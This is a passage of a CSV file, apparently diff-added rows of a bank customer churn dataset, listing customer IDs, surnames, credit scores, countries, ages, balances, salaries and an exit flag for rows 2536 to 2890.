+2536,15578809,Hao,651,Germany,Male,40,1,134760.21,2,0,0,174434.06,1 +2537,15752026,Hammer,691,France,Male,58,3,0,1,0,1,194930.3,1 +2538,15723706,Abbott,573,France,Female,33,0,90124.64,1,1,0,137476.71,0 +2539,15752838,Lucas,723,Spain,Male,38,6,0,2,1,1,94415.6,0 +2540,15569571,Davydova,584,Germany,Female,46,6,87361.02,2,1,0,120376.87,1 +2541,15769703,West,550,Germany,Female,45,8,111257.59,1,0,0,97623.42,1 +2542,15679770,Smith,611,France,Female,61,3,131583.59,4,0,1,66238.23,1 +2543,15791102,Mai,549,Germany,Male,41,9,95020.8,3,1,1,131710.59,1 +2544,15655192,Fiorentino,850,Spain,Female,24,1,0,2,0,1,69052.87,0 +2545,15709487,Freeman,668,Germany,Male,34,5,80242.37,2,0,0,56780.97,0 +2546,15687130,Nkemjika,686,France,Female,43,0,0,1,1,1,170072.9,0 +2547,15755178,Ramos,660,France,Male,50,1,0,3,1,1,191849.15,1 +2548,15634772,Mario,682,Spain,Female,59,0,122661.39,1,0,1,84803.76,0 +2549,15617197,Chien,524,France,Male,50,4,0,2,1,1,31840.59,1 +2550,15631240,Dubinina,645,France,Female,36,8,0,2,1,1,12096.61,1 +2551,15784301,Wang,850,France,Male,42,0,0,2,1,0,44165.84,0 +2552,15631310,Hsieh,537,France,Female,53,3,0,1,1,1,91406.62,0 +2553,15756560,Moran,599,Spain,Female,46,7,81742.84,2,1,0,83282.21,0 +2554,15732270,Hung,727,Spain,Male,71,8,0,1,1,1,198446.91,1 +2555,15739357,Moss,756,Spain,Male,30,2,145127.85,1,0,0,7554.68,0 +2556,15771540,Fedorova,755,France,Male,38,9,148912.44,1,1,0,80416.16,0 +2557,15567486,Li,634,Spain,Female,41,4,0,2,1,1,164549.74,0 +2558,15714634,Nebechi,837,France,Male,26,4,89900.24,2,1,0,175477.03,0 +2559,15727021,Obialo,727,Germany,Female,30,8,119027.28,2,1,1,137903.54,0 +2560,15650670,Bateson,567,Germany,Female,40,2,105222.86,2,1,0,93795.86,0 +2561,15711834,Long,650,Spain,Female,30,6,0,1,0,0,67997.13,1 +2562,15729763,Nelson,655,Spain,Male,34,1,116114.93,1,1,1,49492.15,0 +2563,15646566,Bell,763,France,Female,58,9,187911.55,1,0,1,35825.18,0 +2564,15645463,Udinese,843,France,Female,27,5,0,2,1,1,67494.23,0 +2565,15672144,Mao,667,France,Female,38,6,144432.04,1,1,1,73963.17,1 +2566,15596088,Fanucci,705,France,Female,50,4,77065.9,2,0,1,145159.26,0 +2567,15614878,Yeh,660,Germany,Female,29,6,180520.29,1,1,1,123850.58,0 +2568,15635240,Onuoha,553,France,Male,42,1,0,2,0,0,23822.04,0 +2569,15775905,Moore,612,Germany,Female,47,6,130024.87,1,1,1,45750.21,1 +2570,15700657,Thornton,641,Germany,Female,40,2,110086.69,1,1,0,159773.14,0 +2571,15611905,Warlow-Davies,513,Spain,Female,31,5,174853.46,1,1,0,84238.63,0 +2572,15652527,Champion,680,France,Male,44,7,108724.98,1,0,1,72330.46,0 +2573,15785865,Mazzanti,711,France,Male,58,9,91285.13,2,1,1,26767.85,0 +2574,15645942,Macleod,689,Spain,Male,40,2,0,2,1,1,164768.82,0 +2575,15688691,Lei,665,Germany,Female,51,9,110610.41,2,0,1,1112.76,1 +2576,15592736,Lucchese,551,Germany,Male,54,5,102994.04,1,1,0,176680.16,1 +2577,15673529,Lombardo,645,Spain,Male,36,4,59893.85,2,1,0,43999.64,0 +2578,15724145,William,616,Germany,Male,29,8,149318.55,1,1,0,140746.13,0 +2579,15704629,Wright,582,France,Female,32,1,116409.55,1,0,1,152790.92,0 +2580,15597896,Ozoemena,365,Germany,Male,30,0,127760.07,1,1,0,81537.85,1 +2581,15731790,Boyle,697,Germany,Female,38,6,132591.36,1,1,1,7387.8,1 +2582,15634719,Chinwendu,704,France,Male,31,0,0,2,1,0,183038.33,0 +2583,15703205,Uwaezuoke,656,France,Female,46,5,113402.14,2,1,1,138849.06,0 +2584,15567333,Archambault,712,France,Female,31,7,0,2,1,0,170333.38,0 +2585,15754537,Ko,748,France,Male,40,0,0,1,0,0,60416.76,0 +2586,15612030,Udegbulam,724,France,Male,28,9,0,2,1,1,100240.2,0 +2587,15573242,Greene,691,France,Male,50,6,136953.47,1,1,1,2704.98,0 +2588,15601892,Hunter,563,France,Male,33,8,0,2,0,1,68815.05,0 +2589,15663885,Blinova,741,France,Male,32,5,0,1,1,1,64839.23,0 +2590,15701096,De Garis,778,France,Male,44,8,123863.64,1,1,0,144494.94,0 +2591,15710450,Okwudiliolisa,848,Spain,Male,22,7,120811.89,1,1,1,185510.34,0 +2592,15790846,Ts'ai,634,Germany,Male,38,2,148430.55,1,1,1,56055.72,0 +2593,15658956,Tuan,505,Germany,Male,40,6,47869.69,2,1,1,155061.97,0 +2594,15755223,Tseng,692,Germany,Male,53,7,150926.99,2,0,0,119817.19,0 +2595,15787318,Holmwood,537,Germany,Female,47,6,103163.35,1,1,0,16259.64,1 +2596,15737310,Thompson,633,France,Male,29,10,130206.28,1,1,0,184654.87,0 +2597,15763665,Y?,833,France,Female,28,4,136674.51,2,0,0,5278.78,0 +2598,15668818,Chidubem,592,Spain,Female,40,2,200322.45,1,1,1,113244.73,0 +2599,15765812,Trevisani,587,Spain,Male,48,1,0,2,1,1,8908,0 +2600,15704844,Hsiung,550,Spain,Male,62,7,80927.56,1,0,1,64490.67,0 +2601,15744582,Randall,680,France,Female,24,10,0,3,1,0,154971.63,1 +2602,15616700,Leach,622,Spain,Female,41,9,0,2,1,1,155786.39,0 +2603,15683521,Godfrey,594,Germany,Male,28,0,142574.71,2,1,0,129084.82,0 +2604,15583049,Wallace,643,Germany,Female,34,7,160426.07,1,0,1,188533.11,0 +2605,15643752,Wei,540,France,Male,25,5,116160.23,1,1,0,13411.67,0 +2606,15620398,Mitchell,635,Spain,Female,34,5,98683.47,2,1,0,15733.19,0 +2607,15715707,Light,657,France,Male,32,3,118829.03,2,1,1,73127.61,0 +2608,15814209,Capon,814,France,Male,31,1,118870.92,1,1,0,101704.19,0 +2609,15733768,Hou,600,France,Male,32,1,0,1,1,1,101986.16,0 +2610,15755242,Rowe,682,France,Female,46,2,0,1,1,1,114442.66,0 +2611,15729412,Holloway,682,France,Male,38,4,107192.38,1,1,1,15669.17,0 +2612,15746564,O'Sullivan,566,France,Male,42,3,108010.78,1,1,1,157486.1,0 +2613,15588446,Udinesi,550,Spain,Male,34,3,0,2,0,0,131281.28,0 +2614,15665221,Nwebube,630,France,Male,26,7,129837.72,2,0,1,197001.15,0 +2615,15640846,Chibueze,546,Germany,Female,58,3,106458.31,4,1,0,128881.87,1 +2616,15700209,Walker,486,France,Male,63,9,97009.15,1,1,1,85101,0 +2617,15658360,Gregory,762,Spain,Male,35,9,122929.42,2,0,0,149822.04,0 +2618,15602735,Kuo,692,Germany,Male,45,6,152296.83,4,0,1,108040.86,1 +2619,15724834,Wilson,498,France,Female,30,1,0,2,0,0,135795.53,0 +2620,15800062,Lanford,850,Spain,Male,49,8,0,1,0,0,25867.67,1 +2621,15685300,Meng,603,France,Male,35,6,128993.76,2,1,0,130483.56,0 +2622,15760102,Yeh,551,France,Female,36,5,0,1,1,0,183479.12,0 +2623,15787026,Onwuatuegwu,627,Germany,Male,27,0,185267.45,2,1,1,77027.34,0 +2624,15653696,Goliwe,515,France,Female,28,9,0,2,0,0,94141.75,0 +2625,15788946,Anthony,605,Spain,Female,29,3,116805.82,1,0,0,4092.75,0 +2626,15600724,Scott,567,Germany,Male,29,5,129750.68,1,1,0,109257.59,0 +2627,15574324,Genovese,568,Germany,Female,29,2,129177.01,2,0,1,104617.99,0 +2628,15707144,Onyeorulu,571,Germany,Male,25,6,82506.72,2,1,0,167705.07,0 +2629,15775891,Myers,634,Germany,Male,48,2,107247.69,1,1,1,103712.05,1 +2630,15711789,Davey,768,Spain,Female,42,3,0,1,0,0,161242.99,1 +2631,15600879,Parsons,554,Germany,Female,36,3,157780.93,2,1,0,6089.13,0 +2632,15681196,Chikere,629,France,Male,35,1,172170.36,1,1,1,159777.37,0 +2633,15716000,Hs?eh,638,Spain,Male,48,2,0,2,1,1,7919.08,0 +2634,15766776,Sal,576,France,Male,41,1,0,1,1,1,188274.6,0 +2635,15680278,Ts'ai,661,Spain,Female,42,9,75361.44,1,1,0,27608.12,1 +2636,15688637,Witt,592,France,Female,27,4,0,2,1,1,183569.25,0 +2637,15591179,Skelton,702,Spain,Male,30,2,0,2,1,1,145537.32,0 +2638,15677435,Kazantseva,647,France,Female,29,0,98263.46,2,1,0,164717.95,0 +2639,15698619,Bowhay,593,France,Male,43,9,0,2,1,1,76357.43,0 +2640,15581036,Beyer,712,Germany,Female,40,3,109308.79,2,1,0,120158.72,1 +2641,15622117,Fries,625,Spain,Female,31,8,0,2,1,0,151843.54,0 +2642,15599301,Tao,538,Germany,Female,28,6,164365.44,1,0,1,5698.97,0 +2643,15581548,Kaodilinakachukwu,637,Spain,Female,22,5,98800,1,1,0,122865.55,0 +2644,15586870,Ni,632,France,Male,27,4,193125.85,1,1,1,152665.85,0 +2645,15735263,Hsueh,736,France,Male,27,5,51522.75,1,0,1,192131.77,0 +2646,15765322,Connely,755,France,Male,23,5,84284.48,2,1,1,62851.6,0 +2647,15582944,Becker,425,Spain,Female,39,5,0,2,1,0,140941.47,0 +2648,15687162,Clayton,461,France,Male,51,9,119889.84,1,0,0,56767.67,1 +2649,15644962,Connolly,745,France,Male,21,4,137910.45,1,1,1,177235.23,0 +2650,15612615,Graham,616,France,Female,37,6,0,2,1,0,86242.18,0 +2651,15813439,Ch'ien,587,France,Male,33,5,100116.82,1,1,0,34215.58,0 +2652,15604544,Manfrin,850,Germany,Male,40,4,166082.15,2,0,1,44406.17,0 +2653,15761348,Kuo,601,France,Female,38,0,0,2,1,0,165196.65,0 +2654,15785078,Fomin,730,Spain,Male,26,3,0,1,1,0,34542.41,0 +2655,15759874,Chamberlain,532,France,Male,44,3,148595.55,1,1,0,74838.64,1 +2656,15643658,Barber,850,Germany,Male,53,2,94078.97,2,1,0,36980.54,0 +2657,15713267,Zimmer,779,Spain,Female,34,5,0,2,0,1,111676.63,0 +2658,15737782,Brazenor,562,France,Male,29,9,0,1,1,1,25858.68,0 +2659,15815490,Cocci,670,Germany,Male,40,2,164948.98,3,0,0,177028,1 +2660,15679410,Caldwell,729,France,Female,62,4,140549.4,1,1,0,30990.16,1 +2661,15756241,Yirawala,767,France,Female,44,2,152509.25,1,1,1,136915.15,0 +2662,15688409,Donaldson,742,France,Female,28,2,191864.51,1,1,0,108457.99,1 +2663,15742272,Ozerova,669,France,Female,44,8,96418.09,1,0,0,131609.48,1 +2664,15717898,Bruce,542,Spain,Male,32,2,131945.94,1,0,1,159737.56,0 +2665,15769582,Kang,586,France,Male,29,3,0,2,1,1,142238.54,0 +2666,15635660,Rossi,612,Germany,Male,30,9,142910.15,1,1,0,105890.55,1 +2667,15576723,Ts'ai,740,France,Female,37,7,0,2,1,1,194270.91,0 +2668,15591577,Moran,584,France,Male,35,3,146311.58,1,1,1,105443.47,0 +2669,15582325,Jennings,524,France,Male,52,2,87894.26,1,1,0,173899.42,1 +2670,15693947,Tokareva,614,France,Female,19,5,97445.49,2,1,0,122823.34,0 +2671,15760446,Pagnotto,598,France,Female,64,9,0,1,0,1,13181.37,1 +2672,15611105,Castella,799,Spain,Male,35,7,0,2,0,1,140780.8,0 +2673,15630920,Du Cane,724,France,Male,34,2,154485.74,2,0,0,78560.64,0 +2674,15574910,Ferguson,601,France,Male,50,2,115625.07,1,1,0,185855.21,0 +2675,15756472,Odinakachukwu,804,France,Male,25,7,108396.67,1,1,0,128276.95,0 +2676,15682890,Woronoff,745,Germany,Male,38,5,65095.41,2,1,1,140197.42,0 +2677,15641994,Meng,667,Germany,Male,43,1,103018.45,1,1,0,32462.39,1 +2678,15733297,Sinclair,518,France,Female,38,10,84764.79,1,1,1,162253.9,0 +2679,15767793,Hsu,819,France,Female,38,10,0,2,1,0,30498.7,0 +2680,15725698,Panicucci,520,Spain,Female,35,4,115680.81,1,1,1,90280.7,0 +2681,15813532,Burns,625,France,Female,39,5,0,2,1,0,32615.21,0 +2682,15576760,Onodugoadiegbemma,673,Germany,Male,36,5,73088.06,2,0,0,196142.26,0 +2683,15732102,Darling,656,Germany,Female,27,3,150905.03,2,1,0,16998.72,0 +2684,15739046,Maggard,850,Spain,Female,23,9,143054.85,1,0,1,62980.96,0 +2685,15631927,Thomas,574,Spain,Female,28,7,0,2,0,0,185660.3,0 +2686,15672115,Lettiere,679,France,Male,60,6,0,2,1,1,77331.77,0 +2687,15618765,Ponomaryov,530,Germany,Female,42,0,99948.45,1,0,1,97338.62,0 +2688,15679148,Oliver,508,France,Male,44,3,115451.05,2,0,0,67234.33,0 +2689,15728474,Chienezie,558,Germany,Male,32,4,108235.91,1,1,1,143783.28,0 +2690,15636999,Mao,414,France,Male,38,8,0,1,0,1,77661.12,1 +2691,15754261,Ho,648,Spain,Male,42,2,98795.61,2,1,0,89123.99,0 +2692,15629150,Lucchese,721,France,Female,37,1,0,2,1,0,70810.8,0 +2693,15736274,Prokhorova,751,France,Male,31,8,0,2,0,0,17550.49,0 +2694,15627697,Alekseyeva,662,France,Male,34,2,0,2,0,1,21497.27,0 +2695,15721585,Blacklock,628,Germany,Male,29,3,113146.98,2,0,1,124749.08,0 +2696,15639946,Sazonova,597,Germany,Female,39,8,162532.14,3,1,0,36051.46,1 +2697,15792176,Henty,698,Spain,Female,40,0,92053.44,1,1,1,143681.83,0 +2698,15699450,Li,723,France,Male,48,7,0,2,1,1,150694.58,0 +2699,15729954,Azuka,586,France,Female,28,5,0,3,1,0,170487.4,1 +2700,15600103,Alexander,633,Germany,Female,29,8,104944.1,1,1,1,97684.46,0 +2701,15786200,Brock,564,France,Male,31,4,0,2,1,0,53520.03,0 +2702,15797010,Shen,649,France,Female,31,2,0,2,1,0,15200.61,0 +2703,15670172,Padovesi,622,France,Female,30,4,107879.04,1,0,1,196894.62,0 +2704,15627352,Bulgakov,459,Germany,Male,46,7,110356.42,1,1,0,4969.13,1 +2705,15622494,Mazzanti,718,France,Male,27,2,0,2,0,0,26229.24,0 +2706,15585835,Lord,655,Spain,Female,34,4,109783.69,2,1,0,134034.32,0 +2707,15595071,Ramos,696,France,Male,22,9,149777,1,1,1,198032.93,0 +2708,15628203,Pai,637,France,Female,38,3,104339.56,1,0,0,119882.86,0 +2709,15667190,Yuan,630,Spain,Female,21,1,85818.18,1,1,1,133102.3,0 +2710,15780212,Mao,592,France,Male,37,4,212692.97,1,0,0,176395.02,0 +2711,15766869,Uspenskaya,634,Germany,Male,37,1,89696.84,2,1,1,193179.88,0 +2712,15775741,Powell,608,France,Female,28,9,0,2,1,1,125062.02,0 +2713,15628170,Brown,565,Germany,Female,32,9,68067.24,1,1,0,143287.58,0 +2714,15701318,Poole,763,Spain,Male,67,9,148564.66,1,0,1,87236.4,0 +2715,15710928,McChesney,665,France,Female,55,8,136354.16,1,1,1,93769.89,0 +2716,15682547,Lucchese,649,France,Male,38,1,122214,1,0,1,88965.46,0 +2717,15631170,Clements,695,France,Male,45,3,0,2,1,1,30793.61,0 +2718,15648702,Yuriev,775,Germany,Male,70,6,119684.88,2,1,1,74532.02,0 +2719,15783444,Endrizzi,788,France,Female,39,3,135139.33,1,0,1,113086.08,0 +2720,15809178,Pan,569,Germany,Female,42,9,146100.75,1,1,0,32574.01,1 +2721,15806688,Manfrin,726,Spain,Female,56,8,123110.9,3,0,1,130113.78,1 +2722,15576824,Kennedy,564,Germany,Female,44,3,111760.4,3,1,1,104722.47,1 +2723,15675422,Conway,544,France,Female,32,9,110728.39,1,1,1,14559.62,0 +2724,15681550,Lablanc,614,France,Female,41,8,121558.46,1,1,1,598.8,0 +2725,15812628,Dodd,453,Germany,Female,38,8,120623.21,1,1,0,129697.99,0 +2726,15597951,Muir,471,France,Female,58,4,114713.57,1,1,1,36315.03,0 +2727,15807045,Milanesi,829,Germany,Female,37,3,103457.76,1,0,0,1114.12,0 +2728,15581748,Shen,754,Germany,Male,57,2,101134.87,2,1,1,70954.41,0 +2729,15770420,Dillon,749,Germany,Male,46,10,78136.36,2,1,1,73470.98,0 +2730,15608230,Hoelscher,667,France,Male,23,1,0,2,1,0,91573.19,0 +2731,15730339,Bell,670,Spain,Male,30,3,133446.34,1,0,0,3154.95,0 +2732,15712584,Liao,670,France,Female,33,7,0,2,1,1,88187.81,0 +2733,15592816,Udokamma,623,Germany,Female,48,1,108076.33,1,1,0,118855.26,1 +2734,15641480,Sinnett,571,France,Male,32,5,131354.25,1,1,0,125256.53,0 +2735,15708505,Palerma,641,Germany,Female,37,7,62974.64,2,0,1,39016.43,0 +2736,15791131,Chimaijem,551,Germany,Female,30,2,143340.44,1,1,0,145796.49,0 +2737,15618225,Porter,741,Germany,Male,36,8,116993.43,2,1,0,168816.22,0 +2738,15644724,Fan,472,France,Male,31,4,58662.92,2,0,1,73322,0 +2739,15662098,Palmer,650,Spain,Male,41,3,128808.65,3,0,0,113677.53,1 +2740,15723894,Younger,625,France,Male,45,7,137555.44,1,0,0,124607.7,0 +2741,15787699,Burke,650,Germany,Male,34,4,142393.11,1,1,1,11276.48,0 +2742,15687738,Nwagugheuzo,535,France,Female,38,8,0,2,1,0,136620.64,0 +2743,15576126,Young,649,France,Female,41,2,125785.23,1,1,1,70523.92,0 +2744,15658889,Watson,689,France,Male,22,4,136444.25,1,1,0,51980.25,1 +2745,15667046,Tseng,694,Spain,Male,38,7,121527.4,1,1,0,113481.02,0 +2746,15669957,Drake,655,Germany,Male,52,9,144696.75,1,1,1,49025.79,0 +2747,15655794,Hanna,620,France,Male,36,8,0,2,1,1,145937.99,0 +2748,15599829,Padovesi,577,France,Female,35,10,0,2,1,1,25161.61,0 +2749,15753332,Loftus,401,Germany,Male,48,8,128140.17,1,1,0,175753.55,1 +2750,15671124,Buccho,599,France,Male,25,6,120383.41,1,1,1,24903.09,0 +2751,15767474,Lorenzo,481,France,Female,57,9,0,3,1,1,169719.35,1 +2752,15720671,Ibezimako,704,France,Male,42,8,129735.3,2,1,1,179565.57,0 +2753,15626787,Wei,698,Spain,Female,31,8,185078.26,1,0,0,115337.74,1 +2754,15774491,Ross,480,France,Female,28,6,0,2,0,0,48131.92,0 +2755,15579647,Oluchukwu,682,France,Male,42,0,0,1,1,1,160828.98,0 +2756,15625522,Walker,700,Spain,Male,31,7,0,2,0,1,145151.96,0 +2757,15765806,Wu,492,France,Male,29,1,144591.96,1,1,1,196293.76,0 +2758,15566708,Chidalu,444,France,Female,45,4,0,2,1,0,161653.5,1 +2759,15668347,Ingram,624,France,Male,36,6,0,2,0,0,84635.64,0 +2760,15575214,Ch'en,709,France,Male,37,7,0,1,1,0,159486.76,0 +2761,15591123,Iredale,557,Germany,Male,68,2,100194.44,1,1,1,38596.34,0 +2762,15573280,Gallagher,646,Germany,Male,50,6,145295.31,2,1,1,27814.74,0 +2763,15589018,Padilla,719,Germany,Male,28,3,106070.29,2,1,1,183893.31,0 +2764,15654495,Potter,706,Germany,Female,47,6,120621.89,1,1,1,140803.7,0 +2765,15597265,Mao,660,France,Male,38,7,0,2,0,1,146585.53,0 +2766,15733876,Schneider,667,France,Male,36,9,0,2,1,1,40062.29,0 +2767,15677217,Ibragimova,705,France,Male,30,1,0,1,1,1,181300.32,0 +2768,15747265,Huang,598,Germany,Female,27,10,171283.91,1,1,1,84136.12,0 +2769,15713379,Anderson,669,France,Male,26,4,0,2,1,1,197594.34,0 +2770,15730433,Nakayama,580,Germany,Female,38,1,128218.47,1,1,0,125953.83,1 +2771,15693347,Gardener,676,France,Female,32,5,0,2,1,1,75465.41,0 +2772,15715465,Aksenova,714,Germany,Male,28,7,77776.39,1,1,0,177737.07,0 +2773,15680736,Milne,597,Germany,Female,72,6,124978.19,2,1,1,7144.46,0 +2774,15610765,Onwumelu,559,France,Male,29,1,0,2,0,0,155639.76,0 +2775,15650034,Kudryashova,564,France,Female,28,1,0,1,1,1,162428.05,0 +2776,15782468,Hart,850,Spain,Male,51,3,109799.55,2,1,1,12457.76,1 +2777,15685109,Teng,689,France,Male,39,7,0,2,0,0,14917.09,0 +2778,15776233,Kruglova,758,Germany,Female,61,8,125397.21,1,1,0,182184.09,1 +2779,15761141,Palerma,604,Spain,Female,71,10,0,2,1,1,129984.2,0 +2780,15781702,Brookes,733,Germany,Male,38,9,111347.37,2,0,1,194872.97,0 +2781,15790235,Hsing,778,Spain,Male,40,8,104291.41,2,1,1,117507.11,0 +2782,15641416,Shaffer,732,Germany,Female,61,9,94867.18,2,1,1,157527.6,1 +2783,15775234,Laurie,646,France,Male,24,8,0,2,0,0,92612.88,0 +2784,15659475,Chung,597,France,Female,33,6,135703.59,2,0,0,74850.84,0 +2785,15642202,Whitfield,821,Germany,Female,37,5,106453.53,2,0,1,127413,0 +2786,15771417,Thomas,640,France,Male,43,7,132412.38,1,0,0,69584.3,1 +2787,15585100,Rioux,511,Germany,Female,40,9,124401.6,1,1,0,198814.24,1 +2788,15700487,Osonduagwuike,805,France,Male,46,6,118022.06,3,1,0,162643.15,1 +2789,15726589,Matveyev,540,Germany,Male,39,1,82531.11,1,1,0,114092.52,0 +2790,15747503,Hayward,705,Spain,Male,44,0,184552.12,1,1,0,68860.3,1 +2791,15595883,Nkemdirim,540,Germany,Male,39,4,127278.31,1,1,1,16150.34,0 +2792,15663826,Brim,532,Spain,Female,66,3,0,1,1,1,115227.02,0 +2793,15742820,Trevisano,535,France,Female,45,2,0,2,0,1,170621.55,0 +2794,15624793,Soubeiran,627,Germany,Male,23,5,184244.86,1,1,0,103099.22,0 +2795,15597930,Wilson,646,France,Male,52,8,59669.43,1,0,0,172495.81,1 +2796,15665110,Helena,515,France,Female,25,7,79543.59,1,0,1,38772.82,0 +2797,15770719,Duncan,697,France,Female,39,6,151553.19,1,1,1,44946.29,0 +2798,15731327,Hale,652,Germany,Male,27,2,166527.88,2,0,1,146007.7,0 +2799,15576044,Macdonald,579,Germany,Male,28,6,150329.15,1,1,0,145558.42,0 +2800,15775662,McKay,760,France,Male,43,8,121911.59,1,1,0,193312.33,0 +2801,15646817,Chiekwugo,769,France,Male,51,9,156773.78,2,1,0,40257.79,0 +2802,15596060,Skinner,498,Spain,Male,29,8,127864.26,1,1,1,46677.9,0 +2803,15723299,Sorokina,774,France,Male,53,4,113709.28,1,1,1,153887.93,1 +2804,15636982,Weller,705,Germany,Female,43,7,79974.55,1,1,1,103108.33,0 +2805,15751175,Bess,648,France,Female,44,2,0,2,1,1,58652.23,0 +2806,15618936,MacDonald,688,France,Female,51,5,0,1,1,0,91624.11,1 +2807,15787529,Gray,592,Spain,Male,38,0,0,1,1,0,65986.48,1 +2808,15780128,Ogbonnaya,705,France,Male,33,3,144427.96,2,1,0,113845.19,0 +2809,15615991,Udegbulam,654,France,Male,42,7,99263.09,1,1,1,67607.9,0 +2810,15757001,Mai,624,France,Female,32,2,79368.87,2,1,1,145471.94,0 +2811,15595388,Yeh,594,France,Female,30,10,0,2,1,1,124071.71,0 +2812,15699550,Babbage,695,Spain,Female,34,9,0,2,1,1,67502.12,0 +2813,15581620,Franklin,597,France,Male,28,2,0,3,1,1,78707.97,0 +2814,15600934,Randell,758,France,Female,52,7,125095.94,1,1,0,171189.83,1 +2815,15738672,Paterson,737,Germany,Female,40,2,162485.8,2,1,0,149381.32,0 +2816,15721307,Pickering,694,Germany,Male,37,1,95668.82,2,1,0,100335.55,0 +2817,15619280,Uspensky,683,France,Male,25,4,0,2,1,0,152698.24,0 +2818,15768244,Macleod,538,Spain,Female,30,8,0,2,1,1,41192.95,0 +2819,15806837,Nnaife,669,France,Male,37,4,0,1,1,0,132540.33,0 +2820,15643496,Randolph,730,France,Female,34,5,74197.38,2,1,0,96875.52,0 +2821,15813916,Kudryashova,622,France,Female,31,1,89688.94,1,1,1,152305.47,0 +2822,15626385,George,714,Spain,Female,33,10,103121.33,2,1,1,49672.01,0 +2823,15603582,Robertson,569,Spain,Female,34,3,0,1,1,0,133997.53,0 +2824,15764351,Yuryeva,668,Germany,Female,59,5,120170.07,1,0,1,50454.8,0 +2825,15667938,Hurst,628,France,Male,32,9,149136.31,2,1,1,16402.11,0 +2826,15576360,Ch'iu,600,France,Male,40,1,141136.79,1,1,1,67803.83,0 +2827,15628813,King,693,France,Female,43,4,152341.55,1,1,0,9241.78,0 +2828,15584190,Esposito,704,France,Male,36,7,120026.98,2,0,1,100601.73,0 +2829,15716449,Fraser,527,Spain,Male,33,9,132168.28,1,0,0,98734.15,0 +2830,15759913,Trentini,553,Germany,Male,43,6,85200.82,2,1,1,160574.09,0 +2831,15701555,Nicholls,575,Spain,Male,53,1,84903.33,2,0,1,26015.8,0 +2832,15758482,Montalvo,626,France,Female,32,0,0,2,0,0,187172.54,0 +2833,15758171,Tien,582,France,Male,20,4,0,1,1,1,55763.66,0 +2834,15680346,Chuang,683,Spain,Male,40,8,0,1,1,0,75848.22,0 +2835,15649124,Fang,850,France,Male,30,9,121535.18,1,0,0,40313.47,0 +2836,15812917,Kosisochukwu,653,Spain,Male,35,6,116662.96,2,1,1,23864.21,0 +2837,15768455,Young,679,France,Male,60,8,0,2,1,1,51380.9,0 +2838,15703059,Scott,549,Germany,Female,49,6,124829.16,1,0,1,93551.36,0 +2839,15646196,Yeh,850,Spain,Female,36,2,155180.56,2,0,0,169415.54,0 +2840,15585451,Vigano,558,Germany,Female,32,1,108262.87,1,1,1,6935.31,0 +2841,15714057,Windradyne,528,Spain,Male,40,4,0,2,1,0,25399.7,0 +2842,15748473,Curnow,801,France,Male,38,5,0,2,1,0,66256.27,0 +2843,15785782,Ugonna,513,Spain,Male,48,2,0,1,1,1,114709.13,1 +2844,15693233,De Neeve,666,Germany,Male,38,6,99812.88,2,1,1,158357.97,0 +2845,15757521,Ricci,606,France,Male,35,2,132164.26,1,0,1,164815.59,0 +2846,15812513,Nnaife,599,Germany,Male,45,10,103583.05,1,1,0,132127.69,1 +2847,15674950,Ebelechukwu,544,Germany,Male,39,4,142406.43,2,1,0,146637.45,0 +2848,15678572,Keating,529,Spain,Male,38,7,99842.5,2,1,0,90256.06,1 +2849,15713608,Tuan,850,France,Female,41,5,0,2,1,1,34827.43,0 +2850,15579262,Shearston,497,France,Male,41,9,0,1,0,0,22074.48,0 +2851,15610426,Tien,764,France,Female,39,5,81042.42,1,0,1,109805.17,0 +2852,15776454,Hamilton,603,France,Female,48,5,0,1,1,0,100478.6,1 +2853,15771483,Arnold,609,France,Male,40,6,0,2,1,1,97416.34,0 +2854,15648489,Ting,487,France,Male,53,4,199689.49,1,1,1,24207.86,1 +2855,15646609,Chao,748,France,Male,33,1,142645.43,1,0,0,69132.66,0 +2856,15693203,Powell,710,Spain,Female,75,5,0,2,1,1,9376.89,0 +2857,15813067,Williams,432,Germany,Female,45,3,110219.14,1,1,0,43046.7,1 +2858,15769829,Cheng,534,Spain,Male,51,3,0,2,0,1,20856.31,0 +2859,15662434,Zhdanova,607,France,Male,25,3,0,2,0,0,187048.72,0 +2860,15773503,Tsai,551,Spain,Male,32,4,0,2,1,0,53420.53,0 +2861,15705890,Nebechukwu,674,France,Male,45,7,142072.02,1,1,0,37013.29,0 +2862,15711398,Fetherstonhaugh,525,France,Female,25,6,0,2,1,0,89566.64,0 +2863,15752375,Ojiofor,645,Germany,Male,33,8,149564.61,1,0,0,149913.84,0 +2864,15659175,Severson,755,France,Female,43,9,0,2,1,0,18066.69,0 +2865,15597033,Speight,708,Germany,Male,37,8,153366.13,1,1,1,26912.34,0 +2866,15590228,Greenwalt,715,France,Male,21,6,76467.16,1,1,1,173511.72,0 +2867,15631848,Grover,727,France,Female,26,9,121508.28,1,1,1,146785.44,0 +2868,15654211,Milani,559,Spain,Female,27,1,0,1,0,1,1050.33,0 +2869,15707968,Akobundu,545,Spain,Male,36,8,73211.12,2,1,0,89587.34,1 +2870,15594084,Anderson,524,France,Male,22,9,0,2,1,0,74405.34,0 +2871,15651093,Chien,707,France,Female,55,1,0,2,0,1,54409.48,0 +2872,15798824,Kennedy,671,Spain,Male,38,0,92674.94,2,1,0,3647.57,0 +2873,15671591,Castiglione,439,Spain,Male,52,3,96196.24,4,1,0,198874.52,1 +2874,15707189,Marshall,667,Germany,Female,36,1,114391.62,1,1,1,53412.54,0 +2875,15733581,Duncan,831,Germany,Male,32,9,80262.66,1,1,0,194867.78,0 +2876,15641640,Uspenskaya,545,Spain,Female,33,7,173331.52,1,1,0,150452.88,0 +2877,15585284,Thomson,604,Spain,Female,35,7,147285.52,1,1,1,57807.05,0 +2878,15617866,Calabrese,657,Spain,Male,67,5,119785.47,2,1,1,107534.32,0 +2879,15667751,Herrera,487,Spain,Female,36,1,140137.15,1,1,0,194073.33,0 +2880,15669411,Muse,750,Germany,Female,52,6,107467.56,1,1,0,126233.18,1 +2881,15789425,Marsden,694,Germany,Female,37,8,98218.04,2,1,0,182354.46,1 +2882,15570943,Artemyeva,711,Germany,Female,35,2,133607.75,1,1,1,120586.32,0 +2883,15685829,McKay,551,France,Male,37,3,0,2,1,1,50578.4,0 +2884,15721917,Chuang,559,France,Female,38,8,95139.41,1,1,1,86575.46,0 +2885,15776047,Nicholls,620,France,Female,29,3,0,2,0,1,153392.28,0 +2886,15716024,Dennis,660,Spain,Male,42,5,0,2,1,0,115509.59,0 +2887,15675328,Knight,449,France,Female,37,6,0,2,1,0,82176.48,0 +2888,15604314,Webb,703,Germany,Female,26,1,97331.19,1,1,0,63717.49,0 +2889,15658339,Pugliesi,795,Germany,Male,37,2,139265.63,2,1,1,198745.94,0 +2890,15630402,Nebechukwu,594,France,Female,31,9,0,1,0,1,5719.11,0 